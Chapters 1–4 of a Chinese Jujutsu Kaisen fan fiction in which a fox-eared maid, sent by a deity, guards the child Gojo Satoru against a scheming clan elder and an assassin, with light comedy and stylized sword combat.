《悟少爷太爱我怎么办》
1. 第 1 章
“所以。”
陌生的神明顿了顿,然后继续说了下去。
“你需要留在五条悟身边,让他选中你,扫平他身边的障碍,就像你之前为太宰治做的那样。”
这是一栋正在飘落飞雪的古老建筑,屋檐堆积着厚厚的积雪,庭院里的树木目测就有着悠久的历史,修剪得体的树枝上有梅花怒放着,这幕艳色被映入雪景,有清冷的香气浸透呼吸,让人切身感受到了寒意。
她的视线顺理成章往上抬,看到了正众星捧月站在廊下的,身侧有仆从为他撑着伞的孩子。
他是少见的银发,额发柔软的垂下,尚有些短,此时穿着精致不菲的蜻蜓纹和服,看上去目测只有七八岁,脸颊有些婴儿肥,雪色的长睫掩映猫儿一般剔透的钴蓝色眼眸,光是面色沉静的站在那里,便让人不由自主的屏住呼吸,担心惊扰。
这个模样漂亮姿态端庄的孩子,就是五条悟么?
很可爱欸,而且看着和初次见面的小治差不多大,不知道日后会成长成什么样呢,希望不会像小治那样吃饭还挑食。
提到熟悉的名字,她又不免想到了那个鸢眼孩子,不由轻轻叹了口气。
那贯穿了整个胸膛的一刀可是真的很痛呢,如果可以的话不想再体验第二次了。
她试图唤醒自她站在这里便没有再开口说一句话的神明。
“您好像还没告诉我他喜欢什么,如果能投其所好的话,说不定我能引起这位悟少爷的注意力呢。”
这倒不是夸大其词,作为一名维多利亚家政,她一直保持着服务零差评的优秀记录。毕竟强者自会生存,而弱者没有机会打分。
然而依然没有得到回应。
说这话的时候,花九正和其他备选的侍女一起站在庭院里等待最后发落,雪花飘飘洒洒的落下,很快便落了她们一头一身。
很显然,就面前的小孩冷淡的表情来看,她们一行人似乎都没得他青眼。
作为一名合格的家政官,这时候她要靠什么来吸引面前这位小少爷的目光呢?
……大概是好奇心,毕竟这个时期应该是他好奇心最重的时候,那么自己要怎么勾起他的好奇心呢?
实在想不到,就这样吧,实在不行后面被淘汰了再想办法混进来。
花九认真的思考着这个可能性。
“这批侍女都是经过了训练,悟少爷您可以看看有没有合眼缘的。”
侍女的声音是恰到好处的柔软,听到这句话,五条悟的视线终于纡尊降贵的从结冰的池塘上移到了面前这些人恭敬低垂着的后颈上。
也就这随意的一瞥,他的目光微微凝固了。
……闯入视线的,是一对蓬松漂亮的狐狸耳朵,根部没入热烈的灿金色的长发里,在他的注视下,像是逗猫棒一样,轻轻晃了晃,抖落了几片雪花。
他的视线落在她脸上……不,应该说是落在那张面具上,那是半张用红色颜料细细描画了诡谲纹路的狐狸傩面,扣住了大半张脸,像某种用来封印的诅咒,但上面又偏偏悬挂着半边铃铛,宛如某种耳饰一样,让人印象深刻。
似乎是察觉到他的注视,她微微歪了歪头,平静地对上他的视线,似乎并不觉得以自己的外形站在这里会很奇怪。
身后还有一闪而过的毛茸茸大尾巴,五条悟觉得心脏也像是被人用鹅毛棒轻轻拂过,难以言喻的心痒。
这个时代竟然还有妖怪么?还是这么大胆的妖怪。
为什么身为妖怪,却敢出现在自己面前?
“……悟少爷?”旁边的仆从担忧的轻声唤了他几声。
“如果这批侍女您并不满意的话,我们再……”
“——不。”
年幼的神子终于有了动作,他指向那个胆大包天的妖怪小姐,明确而笃定。
“我要她。”
*
当那个漂亮孩子的目光停在她身上的时候,花九就知道自己赌赢了。
她就说嘛,在充满好奇心的年纪,谁能拒绝看起来如此毛茸茸且Q弹的狐狸耳朵呢?
对毛发耳尾管理一直相当上心的花九暗暗竖起大拇指。
果不其然,当五条团子指了指自己的时候,他身旁的仆从也看过来,露出了讶异的表情。
但没人敢对五条悟提出异议,哪怕他现在只是个漂亮的小孩子,于是她便顺理成章的留了下来,成为了五条悟的贴身侍女之一。
然而自那天起,五条悟像是完全忘记了她这号人的存在,花九曾经远远地看过他几次,发现这个孩子似乎走到哪里都是众星捧月,几乎没有离开五条家宅邸的时候。
对一个正处于好奇阶段的孩子来说,未免也太没有乐趣了吧?
“……悟少爷和普通人不一样,他不需要那些玩乐。”
稍微年长些的侍女回答得一丝不苟,但考虑到眼前人的身份和其他侍女不同,她顿了顿,还是耐着性子解释了。
由于五条悟身份的特殊性,他并没有像同龄孩子那样去上学,哪怕是关于咒力和教育这些,也是请专门的家教上门。
见面前人依然盯着那个正在缓缓穿过走廊的端庄身影,侍女忍不住拉住她胳膊,再次出声警告花九:
“哪怕你是长老钦定的人选,但我劝你还是不要打着靠近悟少爷的主……”
话音未落,就见正好收回手的花九眨了眨眼,无辜道。
“啊,我的弹珠掉了。”
见侍女的身体僵住,她也意识到不听人说话有些不礼貌,于是有些不好意思的转过脸:“不好意思,你刚刚说什么来着?”
我说你真是胆大包天!!人明明看着这么机灵,怎么刚来就闯祸!
侍女脸都涨红了,想拉着花九迅速离开,但廊下的小神子显然已经听到了这边的动静,却对面前的闹剧毫无兴趣,但当他正准备继续往前走去,脚下却踢到了什么东西。
五条悟低下头,看到了一枚色彩清透的蓝色弹珠,根据六眼的观察,这显然是从廊下被精准的扔到了自己面前。
像是被吸引注意力的猫猫,那双钴蓝色的漂亮眼眸无意识的快速眨动了一下,有些移不开视线。
“——你退下,让她过来。”
冷淡得过分的嗓音同时让两人同时停住了动作,花九充满歉意的朝侍女小姐姐抛了个wink,迅速来到了这位显然刚结束学习的小神子面前。
“我叫花九。”
五条悟顿了顿,神态冷淡的反问道:“为什么要告诉我你的名字?”
果然和传闻中一样高冷。
“互相知道名字的话,会更容易找到对方吧?啊,果然是掉在这个
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地方了,它的来历对我来说很特殊,如果没有悟少爷在的话恐怕我还真找不到它。”
她非常自然地俯身捡起那枚弹珠,往自己衣袖上擦了擦,假装没注意到眼前的白毛团子正眼睛一眨不眨的盯着那枚弹珠看,在看到她准备将其收入自己怀中时,嘴角顿时明显撇下去了。
但那只手转了个弯,又递到了他面前,摊开的掌心上赫然躺着那颗蓝色弹珠。
“作为互相知道名字的奖励,这个送给你。”
五条悟迟疑了片刻,到底没有抵住诱惑,接过了弹珠,紧紧攥在小手里。
“我记得你,你是付丧神?”
拿到弹珠的五条悟的心情肉眼可见的好了起来,甚至开始主动问问题。
“……你可以当作我是。”
毕竟身为付丧神的家人,自称付丧神也没什么问题吧?
花九沉静的回答他的问题,两人的身影一前一后穿过回廊,五条悟在转角处停下来,掀起眼帘仔细打量她。
被用看穿一切的视线打量,花九却丝毫没有觉得冒犯,于是五条悟收回目光,笃定道:
“你不是。”
“你给我的感觉像是有很多东西混杂在一起,没有妖怪那么纯粹,但已经脱离了人类的范畴。”
这孩子意外的很敏锐,花九讶然了一瞬:“那你就不好奇我来五条家的目的么?”
“不。”
雪发蓝眸的孩子瞥她一眼,眼底的情绪浅淡到几乎没有。
“我没有从你身上读到恶意和杀意。”
花九笑了,她觉得有必要对未来雇主解释清楚自己的来意,狐希人少女俯下身,认真的与这位久居深闺的小神子注视,耳朵不知何时又冒了出来,在他面前动了动。
“有人替你与我立下束缚,不管你信或者不信,我是来保护你的。”
“我会陪伴你长大,为你扫平障碍,而这一切,都和你没有任何关系,你不必对我有任何愧疚,你只需要按照自己的意愿长大就好。”
“……”
那双仿佛能洞察万物的钴蓝色眼眸无言的凝视着她,雪色睫毛上仿佛凝结了一层碎冰,看上去比天空更加遥远。
他冷静道:“狐狸耳朵。”
“嗯?”
“给我摸一下。”
甜食、玩具、毛茸茸,都是小孩不能抗拒的三大好奇之源,五条悟作为一个八岁的孩子,自然也不能免俗。
然而伸出去的小手没能摸到软软呼呼的狐狸耳朵,因为前一刻还在向自己表忠心的人已经如临大敌的连退三步,防他如防贼。
“不可以。”
没想到会被拒绝的五条悟懵了一瞬:“?”
不是说什么都可以做吗?
猫猫不说话,猫猫绷起脸,猫猫震怒!
不过他很快反应过来,垂下眼帘:“我也没有很想摸。”
“嗯嗯,不想摸。”花九满意于这个孩子的听话,于是决定顺着他的话来。
“……”肉眼可见的,面前的白毛团子垮起小猫批脸。
更生气了怎么回事?
但是手心的弹珠被熨烫的温热,面对其他侍女暗中投来的同情目光,五条悟鬼使神差地顿了顿,临走前留下一句意味不明的话。
“明天这个时候,在这里等我。”
2. 第 2 章
花九一直觉得五条家是个奇怪的地方。
他们将一个七岁的孩子捧上神龛,纵容他,将希望全放在他身上,却又畏惧他、忌惮他。
而五条家内部就像个密不透风的罩子,花九曾远远见过那位五条家主,那人为人和善,最大的爱好就是喝酒,但是他却从来不关心自己孩子在五条家的处境。
如果非要用两个词来形容在五条家当女仆的话,那就是无趣和压抑,而且是字面意义上的。
而且神明大人借来的这个身份也存在隐患,手上的扫把在扫过廊下的积雪发出唰唰的声音,花九头顶传来侍女长冷漠的声音。
“连杯热茶都接不住,如果换做其他人,就不是罚扫整个庭院的积雪这么简单了。”
厨房里好像还有剩下的甜点吧?等下打扫完了她偷吃两块应该也没问题吧?
“你不会想知道那些不听话的人最后是什么下场。”
小悟猫这个点下课了吗?听说他除了体术课还要被教导咒力的使用,别人家的孩子果然就是聪明,是不是再给他拓展点新玩具比较好?
“你在听我说话吗?”
下颌突然被人粗暴的捏住抬起,花九这才回过神,撞上侍女长阴冷的眼神,她整个人笼罩在一团黑雾里,衬得面目瞬间可怖起来。
“……别以为你是长老塞进来的人,短时间得了悟少爷的赏识,就可以和我平起平坐。”
不理解对方的愤怒从何而来,花九顺从的抬起下颌,就着这个姿势眨了眨眼:“你在嫉妒?因为悟少爷更喜欢我?可你现在不是已经答应了……”
那只手加重了力道,强迫她闭上嘴:“我那是被迫的!我当然也很在意悟少爷!不管再怎么说也不应该是你这种戴面具的怪人来……”
听到“面具”两个字,花九眼里的好奇消失了,她牵着对方的指尖,带向了自己面具的边缘。
“你这么做,是想知道我面具底下是什么样子吗?”
她的声音带着低低的蛊惑,狐狸少女眼里是全然的认真,她旁若无人的贴近侍女长,殊不知此时的举动有多暧昧。
“窥视其他人的秘密是很没有礼貌的行为,如果你坚持,那就看看吧,看摘下我的面具会发生什么,是平平无奇的五官,还是……”
她手指反客为主握住了对方的手腕,猛地一抖。
“——一张高度烧伤溃烂的烂脸?”
仿佛被这句话吓到,侍女长脸色一白,甩开她的手退后了好几步,很快,她就意识到这行为输了气势,正想色厉内荏的再说点什么,就看到不远处走来的两人。
走在神色清冷的小悟猫身边的,正是送她们进来的那位长老。
侍女长脸上青一阵白一阵,率先上去行了礼便声称有事退下了,面色慈祥的老人转过头看向身旁的小神子,笑着说道:
“老夫就送您到这儿了,悟少爷早点回去休息。”
五条悟的视线像是被逗猫棒吸引的猫咪,他睁着那双圆润漂亮的猫儿眼,盯着花九看了几秒钟,浅淡的、没什么情绪的眼神,什么也没说,但也没有就此离开。
见他迟迟不动,长老似乎有点诧异:“悟少爷是还有疑问吗?”
“不,没有。”
没听到花九挽留自己,五条悟转过身,干脆利落的走掉了。
是今天上课不开心吗?看背影总感觉气鼓鼓的呢……
花九收回视线,注意到一道让人不适的目光落在自己身上,待到对方的气息已经消失不见,长老这才开口了。
“是进度不够顺利吗?”
他语气充满关心,微微俯下身。
“已经是悟少爷的贴身侍女了,按理说能做到更多吧?还是说年轻人果然还是过于贪玩了呢?”
“真是迂腐又讨厌的封建余孽。”
花九笑意盈盈的说出了这句中文。
虽然在神明大人的帮助下,她可以无障碍说和听懂日语,但她不觉得这些迂腐的老东西能精通多国语言。
看到对方因为没听懂而皱起眉头,她体贴的解释道:“这是来自种花家的一句谚语,大意是识时务者为俊杰,我一直铭记您的教诲,只是最近遇到了一点麻烦。”
长老不动声色的挑眉:“请讲,作为老头子偶尔也想为年轻人分忧解难。”
“侍女长似乎对我有些误会,我的时间被占用,所以没办法在繁重的工作之余还能靠近少爷找到合适的时机。”
她朝他示意手上的扫把。
长老微微颔首:“我知道了,晚一点我会和惠子那丫头聊一聊,但是你这边……”
他语气突然诡谲起来:
“我再给你七天时间,七天之后,如果你还是不能完成我交代给你的任务,届时惠子要对你做什么,我年老体衰,恐怕也阻拦不了。”
欸,让她七天之内必须杀了五条悟,真的假的?
花九歪了歪头,温顺的姿态让人挑不出错处:“我明白了,请再等一等。”
长老见她听话,表情略有缓和,又恢复了那副慈祥的姿态:“六眼不能长大,现在就是除掉他的最好……”
时机。
他猛地噤声,回过头去,只见远处的走廊拐角上,那个白发蓝眼的孩子正站在那里,静静地看着他们。
他刚刚分明没有感受到他的气息!
他在那里站了多久?
他有没有听到两人的对话?
花九看面前的老头子愣住,于是顺着他的视线看去,也看到了那只安静的小悟猫。
欸,是在等她吗?
长老的面色很快恢复正常,他笑着朝对方挥了挥手,沉默无言的迈步离开了。
“这里不用你打扫了,如果他听到了我们的对话,就把他带去我之前跟你说过的那个地方。”
擦肩而过的时候,他低声道。
花九无视了他的话,像没事人一样走到了五条悟面前。
“悟少爷是在等我吗?”
但五条悟没动,这个早慧又漂亮的孩子仰头定定的看着她,情绪很淡,表情看不出是失望还是不在意。
“你也想杀死我吗?”
他冷不丁的开口问道。
“欸?”这个出乎意料的问题让花九愣了一下:“原来你都听到了啊。”
她确实没打算告诉五条悟,虽然做不到让他的童年无忧无虑,但她想着至少让这些阴谋诡计可以尽可能离他远一些。
但既然他已经听到了,花九也没打算再瞒着他,于是她在五条悟面前蹲了下来。
“我答应过会保护你的吧?我不会这么做的。”
“无所谓。”
五条悟漠不关心的随口回答道,口吻很淡。
“反正都一样。”
是的,都一样。
他的诞生让一部分人狂喜,又让一部分人恨之入骨,小小的五条悟并不明白,明明他自始至终都只是他而已。
有时候也会看到暗杀者有着自己熟悉的脸。
狐狸也罢,咒术师也好,或者是随处可见的普通人……都是一样的,不管怀揣的是爱意或者杀意,都不值得放在心上。
只是那枚弹珠……
他终于还是停下来,决定给她一个机
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会。
“我这几天有点睡不着。”
这也算是一句实话,纷杂的信息涌入脑海会带来刺痛,虽然五条悟早已习惯这种不舒适的感觉,但还是因此连着几夜没有闭眼。
睡不着?当时小治说他睡不着带着枕头来找她的时候,自己是怎么说的来着?
她决定客套一下。
“那需要我陪在悟少爷身边给你讲睡前故事吗?”
五条悟:“……可以。”
反正也没有更好的方法了。
听到对方居然这么干脆的就答应了这个条件,被迫加班的花九垮起个小狐狸批脸,心说悟少爷白天消耗的精力果然太少了。
于是,在结束一天繁忙(摸鱼)的工作以后,勤劳的王师傅来到了五条悟的房间。
洗漱完毕的五条悟已经钻上了床,他睡觉的姿势非常规矩,双手放在胸前,唯独那双漂亮的钴蓝色眼眸还没闭上,在黑夜里亮亮的,像只在夜间行动的小猫咪。
太可爱了,花九不由多看了几眼,抛开高冷难搞的性格,五条悟和小治确实都是她见过最好看的小孩子。
直到他的视线移到她身上,花九才想起自己的来意,她找来了一把凳子,在床边坐下了,准备讲一个非常有启蒙教育的故事。
没错,就是那个喝马桶水的政治家的事迹,花九清了清嗓,让自己的声音充满感情。
“……前辈为了证明自己卫生打扫得足够干净,主动从马桶里舀了一勺水喝了下去,这件事告诉我们什么?”
说到这里,她一脸期待的看向面前软糯可爱的海盐糯米团子,试图得到一些正能量的反馈。
这可是小治少年时期给她讲过,说很讨小孩子喜欢也很有启蒙意义的故事!
默不作声的听完全程的五条悟声音稚嫩而冷酷:“那家伙是个蠢货。”
花九:“?”
她试图辩解:
“这只是前辈为了激励她的手段,而且后来深受感动的她也喝了自己清洁干净后的马桶水,我觉得……”
“可是能用的手段有那么多,他们明明可以两个都不用喝马桶水。”
随着衣物摩挲发出的声音,花九看到面前的小男孩侧过身面向了他,表情冷淡又认真的打断了她的话。
“可是这个故事明明很适合当小孩子的睡前……”
“但是马桶水不符合饮用标准,会告诉你这种睡前故事适合讲给小孩听的家伙很明显是在骗你不懂常识吧。”
“……”
花九沉默了。
她默默拿起了那本霓虹睡前故事,在心中狠狠又给小治扣了五分。
……
随着时间一点一滴过去,花九注意到面前的白毛团子捂着嘴困倦的打了个哈欠,眼睛眨动的频率变低,呼吸渐渐变得平稳绵长起来。
她没有动,维持着这个姿势静静地看着对方看上去就柔软好捏的睡颜。
终于,她起身了,居高临下的看着那个孩子,那张诡谲的面具下,唇线拉得平直,俯身将手伸向了床上毫无戒备心的小男孩。
……然后替他掖了掖被子,贴心的盖住了他的小肚子。
睡觉不盖肚脐眼可是会着凉的!
做完这一切,她才慢慢地把东西归位,悄无声息的退出了房间。
在那扇门吱呀一声关上时,本该熟睡的孩子毫无征兆的睁开眼,眼神清醒到磨一磨就能杀人,但此时藏在被子下掐指做好的手势却迟疑着慢慢归位了。
脚步声逐渐远去,闻着那人残留在空气里的柑橘香味,五条悟闭上了眼,就着这个姿势沉沉睡去。
3. 第 3 章
禅院甚尔第一次看到五条悟,是在他和一名侍女回五条家宅邸的路上。
那个穿着蜻蜓纹和服,看上去清冷又漂亮的孩子就是五条家降生的六眼小鬼么?他漫不经心的视线掠过两人,那侍女正笑眯眯和那个小鬼说着什么,看上去只是个无关紧要的角色。
……等等。
禅院甚尔目光凝固了一瞬,身体不由得站得更直了些。
——面具。
随着她微微侧过脸说话,可以看到那个和服侍女脸上分明戴着一副戴着半边铃铛,用朱砂描画了诡谲脸容的狐狸傩面,在看到面具的瞬间,仿佛有无形的恐怖气息侵袭过来,但细看分明又毫无威胁性。
禅院甚尔知道一些家族的贴身侍女会硬性要求同样掌握术式,但面前这个目测和自己差不多大的女人给人的感觉也太怪异了。
“有人在偷看我们。”
这时,被他忽视的小男孩突然冷不丁的开口了,直直的扭头看了过来。
自己隐藏气息的能力分明该天衣无缝才是?!
果然,撑着红伞、正牵着小神子的狐狸侍女停了下来,目光也同样精准无缺的落到了他身上。
穿着深色和服的青年皱起眉头,深觉五条家真是净出些怪物,就看到那半张面具下,嫣红的唇瓣缓缓勾起一个漂亮到足以魅惑人心的笑容来:
“偷看不是好行为哦,这位先生。”
也许是发现小悟猫对她若有若无的偏爱,于是带他出去,替他打伞的事也顺理成章的落到了她头上。
在察觉到那道视线时,因为看到生人而颇感新鲜的花九突然听到了脑内传来的熟悉的命令。
“去结交他。”
花九:“?”
什么意思,这个人是悟少爷未来的好朋友吗?
那确实该释放一些善意,她决定向对方表示自己友好的一面。
于是她露出自己最标准的微笑,字正腔圆的提醒他:
“偷看不是好行为哦,这位先生。”
被当成偷窥狂的禅院甚尔:“……”
原因无他,对方看起来就是可造之材,高大的身材,唇角的疤痕,懒洋洋的站姿和健壮的体魄,无一不散发着属于强者的气息,如果能拉拢的话也能让悟少爷以后多个助力吧?
看那青年紧绷的表情,自己释放的善意可能还不够,于是她转过头兴致勃勃的问旁边的小悟猫:
“你看,相遇即是缘分,悟少爷这时候是想跟他打招呼交个新朋友呢,还是和我一起去跟他打招呼然后交个新朋友呢?”
小男孩克制的沉默了几秒,很显然是一个都不想选。
花九深感遗憾,她再次回头,发现那个青年已经不见了,但她总有一种以后可能还会见面的直觉。
但她没想到,这个直觉会应验的这么快。
那天以后,应该是受到了来自长老的警告,各种意义上的惩罚都停止了,但花九也收获了来自之前更加怨毒百倍的视线。
她完全不在意,只自顾自做自己的事,反正沉不住气的不是自己。
果然,这天在厨房,在接过那份甜点准备离开时,花九再次被拦下来。
“你跟长老说了什么?”
名为惠子的侍女长捏住了食案的一角,面无表情的看着她:
“你好像真的不担心我杀了你。”
闻言,花九颇为失望的叹了口气:“惠子小姐这可就冤枉我了。”
“什么意思?”
花九仔细的听完神明对这两人身份的解释后,面色严肃的开口了:
“那天,是长老来问我,想不想做侍女长,我说有惠子小姐在,我没有这个想法,但他却说惠子小姐你的弟弟最近重病,现在能为他所用,却不一定会一直忠诚下去。”
面前的女人表情霎时变了。
“你怎么会知道这件事?!”她低吼出声,然后意识到失态,连忙压低了声音:“不可能,长老大人明明说过只要我配合,就会帮我……”
她瞬间止住声音,像是明白了什么,片刻后,她喃喃自语道。
“所以,是他让你来取代我,从把你塞进五条家后院开始,他一早就已经做好了这个准备……”
见目的已经达到,花九耸了耸肩,端着食案转身离开了,让她自己去想。
这可是除了少部分人以外其他人都不知道的秘密,那个狡猾又傲慢的老东西当然不会告诉她那么多,但同样的,他对自己埋的另一枚棋子也同样有所保留。
打的就是个信息差。
不过算算时间,对方也快沉不住气了吧?
她一边琢磨着,一边继续往五条的房间走去,然而就在这时,她突然停下脚步,动了动鼻子,仔细嗅闻了一下。
话说,悟少爷这个时间是不是也该下课了?
抱着这样的想法,她刚拐过转角,就看到那个仿佛一座山一样堵在那里的高大青年。
“?”
“禅院甚尔,迷路了,等会儿就走。”
黑发青年言简意赅的解释道,视线落到她手上的食案上。
或许是对眼前人的好奇,又或许只是单纯的饿了,他指了指食案上精巧可爱的点心:
“我能吃一块么?”
花九不假思索的摇了摇头:“不可以哦。”
“全给那个小鬼吃?少一块也不会被发现吧。”禅院甚尔挑眉,对死板规矩的嫌弃简直溢于言表。
“准确来说,吃两块也不会被发现,但是我不能给你吃,因为我要在前往少爷房间前自己吃掉两块。”
花九认真的告诉他。
禅院甚尔:“?”
你这么搞那个小鬼知道吗?
但对方的回答让他心情好了一点,像是大发慈悲般,他指了指旁边的房间。
“我劝你还是找找你家少爷,如果被什么来路不明的人杀了,那才是真的笑柄。”
他懒洋洋的丢下这句话,转身就要离开。
“你是从哪里闯进来的!!”
不远处传来惶恐的尖叫声。
花九皱起眉头,拉住了禅院甚尔的胳膊。
黑发青年挑了挑眉,没有插手的闲心,正想说什么让她松手的时候,下一秒,放着糯米糍的食案被塞进他手里。
“请帮我拿一下。”
说完这句话,花九转过身头也不回的奔向了声源处,其速度快得惊人,足尖点地几下便消失在拐角处。
竟然完全没有找他帮忙的意思?
禅院甚尔脸上终于出现了几分意外,随手从食案里捻起一块糯米糍,送进了嘴里。
很甜。
……
而此时,顺利突破了五条家防线的诅咒师已经进入主院,正在步步逼近。
负责杂活的仆从正挡在他面前,可肉眼也能看出他身上的咒力少得可怜,接下悬赏令的诅咒师完全无视了他,只看向了他身后护着的孩子。
白发蓝眼,情绪浅淡的钴蓝色猫眼像是反射出天空的镜面,雪花落在他睫毛上,同他一起漠然的将一切尽收眼底。
即使身边的人已经倒下,即使正在遭遇凶险的暗杀,他看上去也依然没有什么情绪波动。
“你就是五条悟?”
高大健壮的诅咒师男人歪头带着孩子气的笑容明知故问,因为清楚短时间没有再来搅局的人了,他旁若无人的踩过尸体。
“虽然之前就有所耳闻,但传闻不如一见,是个冷血冷情的臭小鬼,啊,你在看这些尸体?你是该看看他们,毕竟只要你遇到危险,就会有人前仆后继为你挡刀,命可比我们这些人值钱多了。”
话音刚落下,他便带着亲切的笑容收回了手,动作快到几乎让人看不清,只听沉闷的噗通一声,血液溅上树干,头颅化作幽香的梅花养分。
这血液同时溅在了没有开启无下限的神子脸上,似是闻到了血腥味,他的眼神终于有了些许波澜,抬起头,直直地看向了诅咒师身后的方向。
刚刚赶到现场的花九正好目睹了这一幕,但她没有急于上前。
她想知道,这位五条家的小少爷和她之前带过的孩子有什么区别。
五条悟漠不关心的收回
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视线,没有像其他普通小孩那样大哭大叫要人帮忙,他毫不犹豫的选择了出手。
与漂亮稚嫩的脸蛋成反比的,是狠辣刁钻的招式,刀光剑影,术式纷飞,杀气浓重的凝固成尸体,惊落一树梅花,纷纷扬扬的盖住了死不瞑目的头颅。
但和正值壮年且战斗经验丰富的一级诅咒师相比,作为一个年仅七岁的孩子,五条悟的动作还是随之慢了下来,开始变得吃力。
“你要看着这个小鬼死?”去而复返的禅院甚尔不知何时站到了她身后,抱臂调笑道。
他果然还是想吃瓜。
“不过让这个小鬼死了的话,你在五条家也混不下去了吧?要不要考虑和我一起走?”
盯着那半边瘆人的狐狸面具,他半是真心半是假意的提议道。
果然,听了他的话,面前的少女刻意压低的声音呢喃着传到了他耳朵里:
“请帮帮我,■■先生。”
等等,她在和谁说话?
禅院甚尔皱起眉头,下一刻,少女面前汇聚起白光,悬浮在半空,凝固成一把长刀的形状。
花九摊开手掌,温顺落入她手中的长刀身上的光芒消失,现出本貌。
这是一把连刀鞘伤痕累累的太刀,还没等禅院甚尔细看,就见眼前的狐狸侍女身形鬼魅的出现在诅咒师身后,毫无犹豫的拔出了太刀。
——时间仿佛在这一刻变慢,散下来的长发被风吹起,连着狐狸少女的衣袖也随之飞舞起来。
她巴掌大的脸上覆盖着一张狐狸的面具。面具之上,如干涸的血液般暗红的图案从中心向外蔓延。
面具下方的单边铃铛从发间穿过,撞上面具的边缘。
【叮——】
五条悟的眼睛是这世间最好的,他自然看清了,那是一颗破损了,不会作响的铃铛。
……那刚刚的声音是?
没有给对手任何反击的机会,她冷静地、从容地、杀气重重地挥出一刀——
满地残梅绽开温热的猩红,同面前狐狸少女的影子一同清晰的映进五条悟的眼底,让人无法为之挪开半分视线。
一时间,天地万籁俱寂,无头尸首倒入雪地。
【叮——】
又是一声收刀的碰撞轻响,花九亲昵地点了点刀鞘的金属环 ,身后的诅咒师随即倒下。
“谢谢你,■■■先生。”
禅院甚尔脸上原本漫不经心的表情已经完全消失了,他紧紧盯着花九,神色竟然有些怔然。
这就是传说中的落梅吹雪,斩铁如泥么?
他要收回前面说他们是怪物的评价了,这一个两个都是疯子。
而对这场面已经习以为常的幼年五条悟盯着花九沉默了几秒,开口说的却是另一件事:
“……甜点,分我一块。”
他早就注意到甚尔拿着他的甜点了。
花九将站在血泊中的小悟猫抱起来,绕过地上的血迹,趁着他的视线死角,眼疾手快的拿过一块甜点塞到甚尔嘴里。
很好,这就是谢礼了,她今天可以少吃一块。
“我是花九,欢迎甚尔先生下次常来玩哦!”
察觉到怀里的小神子抓着自己衣服的手用上了点力气,花九往他嘴里也塞了块点心,趁着他嚼嚼嚼的空隙准备将其带回房间。
禅院甚尔看着她的背影,被她抱在怀里的孩子趴在她的肩头,像只软乎乎的幼猫,脸颊和眼睛都圆圆的。
察觉到他的视线,他抬起眼,小孩的嘴巴小,嚼嚼嚼的时候腮帮子也会跟着鼓起来,此时和他对上眼之后,那孩子轻微的皱了皱脸,仿佛很不喜欢他那样,再次抬手抱紧了对方的脖子。
禅院甚尔:……这臭小鬼以为他就想来吗?
今天来到五条家也是因为那个该死的老头子的授意,他不知道五条家主和禅院家主之间聊了什么,毕竟作为一个不讨人喜欢的货品,他可没有所谓的“发言权”。
禅院甚尔兴致缺缺的移开视线,准备自己先回去了。
不过,看那熟练的动作,那个女人究竟是什么来路呢?
4. 第 4 章
时间很快来到约定之日的最后一天。
这天的五条家安静地有些不寻常,在听到身旁相熟的侍女小声议论那位长老今天也会来到宅邸中时,她假装不经意的抛出了一个问题:
“今天似乎没看见侍女长呢。”
听到这句话,几个女孩面色古怪的互相看了一眼,显然都知道这俩人关系不好,有人回答道:
“说她从早上出去之后就一直没回来。”
“是吗。”花九得到想要的答案后,便笑眯眯的站起了身。
“算算时间,悟少爷的学习应该快结束了,我先走了,啊,对了。”
她向众人微微侧过脸,十分委婉地劝诫道。
“今晚会有拍打门窗的大风,诸位记得锁好门窗。”
“……”
直到那个人彻底消失在视野里,众人面面相觑,直到终于有人打破这死寂的氛围,窃窃私语起来。
“说起来,头顶那位一直不太喜欢她吧?”
“何止是不喜欢,我有次半夜起夜还看到那位站在她房间外面,嘴里喃喃自语说什么下一个就是你,披头散发别提多瘆人了。”
“好可怕,别再说了,那副面具也很吓人啊,如果不是有着悟少爷的庇护,她早就被处理掉了吧?”
……
花九听到了身后的窃窃私语,但她依然没有采取任何行动,只是脚步轻快的离开了。
今天大概率是会发生点什么的。
待到关于咒力教育的课程结束,花九笑眯眯的跟充当家教的夜蛾老师道别,就见这个破天荒没有急于离开的男人盯着自己欲言又止的沉默了一会儿,然后得出了结论。
“王小姐很强,只是留在五条家做侍女的话恐怕屈才了。”
听到赞美自己的话,花九顿了顿,最终还是没忍住自己的好奇心:“如果是想让我跳槽的话,会有现在的双倍工资吗?”
没想到她会这么直接的夜蛾正道:“……没有。”
话音刚落,面前的金发少女肉眼可见的露出失落的表情,正色退后了好几步,坚定地举起手:
“虽然我知道夜蛾先生对于我异于常人的能力表现出了高度欣赏,但是很可惜,我对五条家的忠心天地可鉴,我是不会跟着你走的。”
夜蛾正道:“……”是谁刚刚问跳槽的话有没有双倍工资的?
这个小插曲让原本心情有些阴霾的夜蛾正道心情放松了一些,他苦笑着正要告辞,就听到身后少女像是不经意般问了一句。
“夜蛾先生那边很缺人手吗?”
夜蛾正道的脚步一顿,最终还是选择了诚实的回答。
“是的,如果有合适的选择,还请王小姐告诉我。”
*
回去的路上,也许同样意识到了今天的五条家安静地有些不同寻常,身侧雪发蓝眼的孩子突然冷不丁的停下了脚步。
“我想和你打一架。”
刚把人送回房间,准备去扫地的花九:“?”
虽然有丰富的实战经验,但对和小孩子切磋毫无兴趣的花九摇了摇头:“容我拒绝。”
但裙摆被揪住了,花九扯了扯,没扯下来。
再低下头时,五条悟仰起那张带着婴儿肥的漂亮小脸,神情相当固执:
“我能感觉到,你很强。”
看表情,想打架的欲望蠢蠢欲动。
心知对方今天不会轻易让她离开,花九叹了口气,在小神子面前蹲了下来,正色道:
“我不是少爷你的体术老师,而且我也不会和小孩子打架。”
赢了是胜之不武,输了……她也不想输。
圆润的猫儿眼眨了眨,五条悟揪着她的裙摆不放,眼里只有属于武痴的认真:“我不是小孩子,切磋。”
花九:“……”
对方是和她完全不同的性格,太难搞了,她有些应付不来。
好讨厌,想把他抓起来打屁股。
她叹了口气,最终还是选择了溺爱,于是半蹲下身,点了点他的鼻尖。
“输了的话不许哭鼻子哦。”
五条团子听话的松开了手,于是花九握着扫把后撤半步,一本正经。
“少爷可要对我手下留情哦。”
比如不要等下打完架恼羞成怒让她去擦马桶什么的orz。
话音刚落,面前的小团子便像只亮出爪子的小猫咪一般,闪现过来的瞬间身形比猫更加敏捷鬼魅。
花九在他扑过来的时候侧身避开,手上的扫帚巧妙的卸掉他的力道,将其轻轻推了出去,微微挑眉。
不愧是经历了大大小小暗杀的小神子,虽然才七岁,但战斗经验已经很丰富了,让她联想到了传说中的天才萌宝迷糊(哔——)。
见一击没中,不服输的小悟猫再次扑了上来。
被一扫把打出去了。
有点像打不倒的不倒翁欸……
